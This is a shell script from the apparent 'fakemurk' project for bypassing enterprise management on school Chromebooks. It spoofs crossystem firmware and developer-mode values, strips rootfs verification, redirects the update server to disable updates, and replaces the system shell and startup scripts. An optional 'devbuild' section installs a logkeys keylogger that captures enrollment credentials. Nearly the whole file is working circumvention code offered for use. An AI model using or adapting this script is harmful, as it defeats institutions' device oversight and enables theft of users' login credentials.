fakemurk.sh.pre 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455
  1. . /usr/share/misc/chromeos-common.sh || :
  2. #define DEVBUILD_FLAG 1
  3. #if DEVBUILD_FLAG==1
  4. DEVBUILD=1
  5. devbuild_config() {
  6. swallow_stdin
  7. read -r -p "Would you like to enable enrollment credentential capturer? After finishing the script, the next boot will detect all keypresses during enrollment setup and save them to a file. This file is ONLY STORED LOCALLY, and is deleted as soon as you read it, which you can confirm by reading the source code. By using this you also acknowledge that you have permission to capture these credentials. (y\N)" choice
  8. echo "THIS FEATURE IS FOR CYBER SECURITY RESEARCH ONLY, DO NOT USE UNLESS YOU HAVE RED TEAM PERMISSION"
  9. case "$choice" in
  10. Y | y) INSTALL_LOGKEYS=1 ;;
  11. esac
  12. }
  13. drop_logkeys() {
  14. mkdir "$ROOT/logkeys"
  15. base64 -d <<-EOF | bunzip2 -dc >"$ROOT/usr/bin/logkeys"
  16. #include "logkeys.elf.b64"
  17. EOF
  18. base64 -d <<-EOF | bunzip2 -dc >"$ROOT/logkeys/keymap.map"
  19. #include "keymap.map.b64"
  20. EOF
  21. chmod 777 "$ROOT/usr/bin/logkeys"
  22. ln -s "$ROOT/bin/grep" "$ROOT/sbin/grep"
  23. touch "$ROOT/sbin/dumpkeys"
  24. }
  25. devbuild_patchroot() {
  26. if [ "$INSTALL_LOGKEYS" == "1" ]; then
  27. echo "installing logkeys"
  28. drop_logkeys
  29. touch "$ROOT/logkeys/active"
  30. fi
  31. }
  32. #endif
  33. traps() {
  34. set -e
  35. trap 'last_command=$current_command; current_command=$BASH_COMMAND' DEBUG
  36. trap 'echo "\"${last_command}\" command failed with exit code $?. THIS IS A BUG, REPORT IT HERE https://github.com/MercuryWorkshop/fakemurk"' EXIT
  37. }
  38. leave() {
  39. trap - EXIT
  40. echo "exiting successfully"
  41. exit
  42. }
  43. config() {
  44. swallow_stdin
  45. echo "please enter the your managed email's domain. example: if your email is \"randomstudent@skid.edu\" then you will enter skid.edu"
  46. echo "if you don't enter it correctly you won't be able to login, double check this"
  47. read -r -p "> " EMAIL
  48. echo
  49. swallow_stdin
  50. echo
  51. read -r -p "Would you like to enable rootfs restore? It will add an option to quickly revert all changes and re-enroll. (Y/n)" choice
  52. case "$choice" in
  53. N | n | no | No | NO) ROOTFS_BACKUP=0 ;;
  54. *) ROOTFS_BACKUP=1 ;;
  55. esac
  56. if [ "$DEVBUILD" == "1" ]; then
  57. devbuild_config
  58. fi
  59. }
  60. disable_rootfs_backup() {
  61. echo "rootfs verification is disabled for this partition, and thus it is not eligable for backup. ignoring..."
  62. ROOTFS_BACKUP=0
  63. }
  64. swallow_stdin() {
  65. while read -t 0 notused; do
  66. read input
  67. done
  68. }
  69. fakemurk_info() {
  70. ascii_info
  71. sleep 3
  72. cat <<-EOF
  73. WARNING: THIS SCRIPT WILL REQUIRE THE REMOVAL OF ROOTFS VERIFICATION, AND THE DISABLING OF AUTOUPDATES
  74. THIS MEANS THAT IF YOU EVER TURN OFF DEVMODE, YOUR SYSTEM WILL BE BRICKED UNTIL RECOVERY
  75. WE ARE NOT RESPONSIBLE FOR DAMAGE, YOU BEING STUPID AND MISUSING THIS, OR GETTING IN TROUBLE
  76. DO YOU UNDERSTAND??
  77. (enter to proceed, ctrl+c to quit)
  78. EOF
  79. swallow_stdin
  80. read
  81. }
  82. csys() {
  83. if [ "$COMPAT" == "1" ]; then
  84. crossystem "$@"
  85. elif test -f "$ROOT/usr/bin/crossystem.old"; then
  86. "$ROOT/usr/bin/crossystem.old" "$@"
  87. else
  88. "$ROOT/usr/bin/crossystem" "$@"
  89. fi
  90. }
  91. cvpd() {
  92. if [ "$COMPAT" == "1" ]; then
  93. vpd "$@"
  94. elif test -f "$ROOT/usr/sbin/vpd.old"; then
  95. "$ROOT/usr/sbin/vpd.old" "$@"
  96. else
  97. "$ROOT/usr/sbin/vpd" "$@"
  98. fi
  99. }
  100. sed_escape() {
  101. echo -n "$1" | while read -n1 ch; do
  102. if [[ "$ch" == "" ]]; then
  103. echo -n "\n"
  104. # dumbass shellcheck not expanding is the entire point
  105. fi
  106. echo -n "\\x$(printf %x \'"$ch")"
  107. done
  108. }
  109. raw_crossystem_sh() {
  110. base64 -d <<-EOF | bunzip2 -dc
  111. #include "crossystem.sh.b64"
  112. EOF
  113. }
  114. raw_pollen() {
  115. base64 -d <<-EOF | bunzip2 -dc
  116. #include "pollen.json.b64"
  117. EOF
  118. }
  119. drop_daemon() {
  120. base64 -d <<-EOF | bunzip2 -dc >"$ROOT/etc/init/pre-startup.conf"
  121. #include "pre-startup.conf.b64"
  122. EOF
  123. base64 -d <<-EOF | bunzip2 -dc >"$ROOT/sbin/fakemurk-daemon.sh"
  124. #include "fakemurk-daemon.sh.b64"
  125. EOF
  126. chmod 777 "$ROOT/sbin/fakemurk-daemon.sh"
  127. }
  128. drop_startup_patch() {
  129. move_bin "$ROOT/sbin/chromeos_startup.sh"
  130. base64 -d <<-EOF | bunzip2 -dc >"$ROOT/sbin/chromeos_startup.sh"
  131. #include "chromeos_startup.sh.b64"
  132. EOF
  133. chmod 777 "$ROOT/sbin/chromeos_startup.sh"
  134. }
  135. drop_mush() {
  136. move_bin "$ROOT/usr/bin/crosh"
  137. base64 -d <<-EOF | bunzip2 -dc >"$ROOT/usr/bin/crosh"
  138. #include "mush.sh.b64"
  139. EOF
  140. chmod 777 "$ROOT/usr/bin/crosh"
  141. }
  142. drop_crossystem_sh() {
  143. vals=$(sed "s/ /THIS_IS_A_SPACE_DUMBASS/g" <<<"$(crossystem_values)")
  144. raw_crossystem_sh | sed -e "s/#__SED_REPLACEME_CROSSYSTEM_VALUES#/$(sed_escape "$vals")/g" | sed -e "s/THIS_IS_A_SPACE_DUMBASS/ /g" >"$ROOT/usr/bin/crossystem"
  145. chmod 777 "$ROOT/usr/bin/crossystem"
  146. }
  147. drop_pollen() {
  148. mkdir -p "$ROOT/etc/opt/chrome/policies/managed"
  149. raw_pollen | sed -e "s/__SED_REPLACEME_SCHOOL_EMAIL__/${EMAIL}/g" >$ROOT/etc/opt/chrome/policies/managed/policy.json
  150. chmod 777 "$ROOT/etc/opt/chrome/policies/managed/policy.json"
  151. }
  152. escape() {
  153. case $1 in
  154. '' | *[!0-9]*) echo -n "\"$1\"" ;;
  155. *) echo -n "$1" ;;
  156. esac
  157. }
  158. crossystem_values() {
  159. readarray -t csys_lines <<<"$(csys)"
  160. for element in "${csys_lines[@]}"; do
  161. line_stripped=$(echo "$element" | sed -e "s/#.*//g" | sed -e 's/ .*=/=/g')
  162. # sed 1: cuts out all chars after the #
  163. # sed 2: cuts out all spaces before =
  164. IFS='=' read -r -a pair <<<"$line_stripped"
  165. key=${pair[0]}
  166. # cut out all characters after an instance of 2 spaces in a row
  167. val="$(echo ${pair[1]} | sed -e 's/ .*//g')"
  168. if [ "$key" == "devsw_cur" ]; then
  169. val=0
  170. fi
  171. if [ "$key" == "devsw_boot" ]; then
  172. val=0
  173. fi
  174. if [ "$key" == "mainfw_type" ]; then
  175. val="normal"
  176. fi
  177. if [ "$key" == "mainfw_act" ]; then
  178. val="A"
  179. fi
  180. if [ "$key" == "cros_debug" ]; then
  181. val=0
  182. fi
  183. if [ "$key" == "dev_boot_legacy" ]; then
  184. val=0
  185. fi
  186. if [ "$key" == "dev_boot_signed_only" ]; then
  187. val=0
  188. fi
  189. if [ "$key" == "dev_boot_usb" ]; then
  190. val=0
  191. fi
  192. if [ "$key" == "dev_default_boot" ]; then
  193. val="disk"
  194. fi
  195. if [ "$key" == "dev_enable_udc" ]; then
  196. val=0
  197. fi
  198. if [ "$key" == "alt_os_enabled" ]; then
  199. val=0
  200. fi
  201. if [ "$key" == "recoverysw_boot" ]; then
  202. val=0
  203. fi
  204. if [ "$key" == "recoverysw_cur" ]; then
  205. val=0
  206. fi
  207. echo "$key=$(escape "$val")"
  208. done
  209. }
  210. move_bin() {
  211. if test -f "$1"; then
  212. mv "$1" "$1.old"
  213. fi
  214. }
  215. is_target_booted() {
  216. [ -z "$COMPAT" ] && [ "$(get_booted_kernnum)" == "$TGT_KERNNUM" ]
  217. }
  218. opposite_num() {
  219. if [ "$1" == "2" ]; then
  220. echo -n 4
  221. elif [ "$1" == "4" ]; then
  222. echo -n 2
  223. elif [ "$1" == "3" ]; then
  224. echo -n 5
  225. elif [ "$1" == "5" ]; then
  226. echo -n 3
  227. else
  228. return 1
  229. fi
  230. }
  231. disable_autoupdates() {
  232. # thanks phene i guess?
  233. sed -i "$ROOT/etc/lsb-release" -e "s/CHROMEOS_AUSERVER=.*/CHROMEOS_AUSERVER=$(sed_escape "https://mercurywork.shop/update")/"
  234. }
  235. prepare_target_root() {
  236. sleep 2
  237. if verity_enabled_for_n "$TGT_KERNNUM"; then
  238. echo "removing rootfs verification on target kernel $TGT_KERN_DEV"
  239. /usr/share/vboot/bin/make_dev_ssd.sh --remove_rootfs_verification --partitions "$TGT_KERNNUM" -i "$DST" 2>/dev/null
  240. if is_target_booted; then
  241. # if we're booted from the target kernel, we need to reboot. this is a pretty rare circumstance
  242. cat <<-EOF
  243. ROOTFS VERIFICATION SUCCESSFULLY REMOVED
  244. IN ORDER TO PROCCEED, THE CHROMEBOOK MUST BE REBOOTED
  245. PRESS ENTER TO REBOOT, THEN ONCE BOOTED RUN THIS SCRIPT AGAIN
  246. EOF
  247. swallow_stdin
  248. read -r
  249. reboot
  250. leave
  251. fi
  252. fi
  253. if ! is_target_booted; then
  254. mkdir /tmp/rootmnt
  255. mount "$TGT_ROOT_DEV" /tmp/rootmnt
  256. ROOT=/tmp/rootmnt
  257. else
  258. ROOT=
  259. fi
  260. }
  261. get_largest_nvme_namespace() {
  262. local largest size tmp_size dev
  263. size=0
  264. dev=$(basename "$1")
  265. for nvme in /sys/block/"${dev%n*}"*; do
  266. tmp_size=$(cat "${nvme}"/size)
  267. if [ "${tmp_size}" -gt "${size}" ]; then
  268. largest="${nvme##*/}"
  269. size="${tmp_size}"
  270. fi
  271. done
  272. echo "${largest}"
  273. }
  274. verity_enabled_for_n() {
  275. grep -q "root=/dev/dm" <"${DST}p${1}"
  276. }
  277. get_booted_kernnum() {
  278. if (($(cgpt show -n "$DST" -i 2 -P) > $(cgpt show -n "$DST" -i 4 -P))); then
  279. echo -n 2
  280. else
  281. echo -n 4
  282. fi
  283. }
  284. cleanup() {
  285. if [ "$COMPAT" == "1" ]; then
  286. echo "pressure washing..."
  287. yes | mkfs.ext4 "${DST}p1" >/dev/null 2>&1 || : # hope you didn't have anything valuable on there
  288. fi
  289. cvpd -i RW_VPD -s check_enrollment=1 2>/dev/null
  290. cvpd -i RW_VPD -s block_devmode=0 2>/dev/null
  291. csys block_devmode=0 2>/dev/null
  292. }
  293. set_kernel_priority() {
  294. cgpt add "$DST" -i 4 -P 0
  295. cgpt add "$DST" -i 2 -P 0
  296. cgpt add "$DST" -i "$TGT_KERNNUM" -P 1
  297. }
  298. configure_target() {
  299. DST=/dev/$(get_largest_nvme_namespace)
  300. if [ "$DST" == "/dev/" ]; then
  301. DST=/dev/mmcblk0
  302. fi
  303. if verity_enabled_for_n 2 && verity_enabled_for_n 4; then
  304. TGT_KERNNUM=
  305. elif verity_enabled_for_n 2; then
  306. TGT_KERNNUM=4
  307. elif verity_enabled_for_n 4; then
  308. TGT_KERNNUM=2
  309. else
  310. TGT_KERNNUM=
  311. if [ "$ROOTFS_BACKUP" == "1" ]; then
  312. echo "Rootfs restore is requested to be enabled, but both partitions have rootfs verification disabled. Please go through the recovery process to enable rootfs verification or run again and do not choose to enable rootfs restore."
  313. leave
  314. fi
  315. fi
  316. if [ "$TGT_KERNNUM" != "2" ] && [ "$TGT_KERNNUM" != "4" ]; then
  317. if [ "$COMPAT" == "1" ]; then
  318. TGT_KERNNUM=2
  319. else
  320. TGT_KERNNUM=$(opposite_num "$(get_booted_kernnum)")
  321. fi
  322. fi
  323. TGT_ROOTNUM=$((TGT_KERNNUM + 1))
  324. TGT_KERN_DEV="${DST}p$TGT_KERNNUM"
  325. TGT_ROOT_DEV="${DST}p$TGT_ROOTNUM"
  326. ALT_ROOTNUM=$(opposite_num "$TGT_ROOTNUM")
  327. ALT_KERNNUM=$(opposite_num "$TGT_KERNNUM")
  328. ALT_KERN_DEV="${DST}p$ALT_KERNNUM"
  329. ALT_ROOT_DEV="${DST}p$ALT_ROOTNUM"
  330. echo "target kern is $TGT_KERNNUM@$TGT_KERN_DEV"
  331. echo "target root is $TGT_ROOTNUM@$TGT_ROOT_DEV"
  332. echo
  333. echo "backup kern is $ALT_KERNNUM@$ALT_KERN_DEV"
  334. echo "backup root is $ALT_ROOTNUM@$ALT_ROOT_DEV"
  335. }
  336. patch_root() {
  337. echo "disabling autoupdates"
  338. disable_autoupdates
  339. sleep 2
  340. echo "dropping crossystem.sh"
  341. mv "$ROOT/usr/bin/crossystem" "$ROOT/usr/bin/crossystem.old"
  342. drop_crossystem_sh
  343. echo "staging sshd"
  344. sleep 2
  345. echo "dropping pollen"
  346. drop_pollen
  347. sleep 2
  348. echo "preventing stateful bootloop"
  349. drop_startup_patch
  350. if [ "$COMPAT" == "1" ]; then
  351. touch "$ROOT/stateful_unfucked"
  352. fi
  353. echo "installing mush shell"
  354. drop_mush
  355. sleep 2
  356. echo "dropping fakemurk daemon"
  357. drop_daemon
  358. if [ "$DEVBUILD" == "1" ]; then
  359. devbuild_patchroot
  360. fi
  361. }
  362. main() {
  363. traps
  364. fakemurk_info
  365. config
  366. if csys mainfw_type?recovery; then
  367. echo "Entering shim compatability mode"
  368. COMPAT=1
  369. stty sane
  370. sleep 1
  371. fi
  372. echo "----- stage 1: grabbing disk configuration -----"
  373. configure_target
  374. sleep 2
  375. echo "----- stage 2: patching target rootfs -----"
  376. prepare_target_root
  377. patch_root
  378. sync
  379. sleep 2
  380. echo "----- stage 3: cleaning up -----"
  381. cleanup
  382. sleep 1
  383. echo "setting kernel priority"
  384. set_kernel_priority
  385. sleep 1
  386. echo "done! press enter to reboot, and your chromebook should enroll into management when rebooted, but stay hidden in devmode"
  387. swallow_stdin
  388. read -r
  389. reboot
  390. leave
  391. }
  392. if [ "$0" = "$BASH_SOURCE" ]; then
  393. stty sane
  394. # if [ "$SHELL" != "/bin/bash" ]; then
  395. # echo "hey! you ran this with \"sh\" (or some other shell). i would really prefer if you ran it with \"bash\" instead"
  396. # fi
  397. if [ "$EUID" -ne 0 ]; then
  398. echo "Please run as root"
  399. exit
  400. fi
  401. main
  402. fi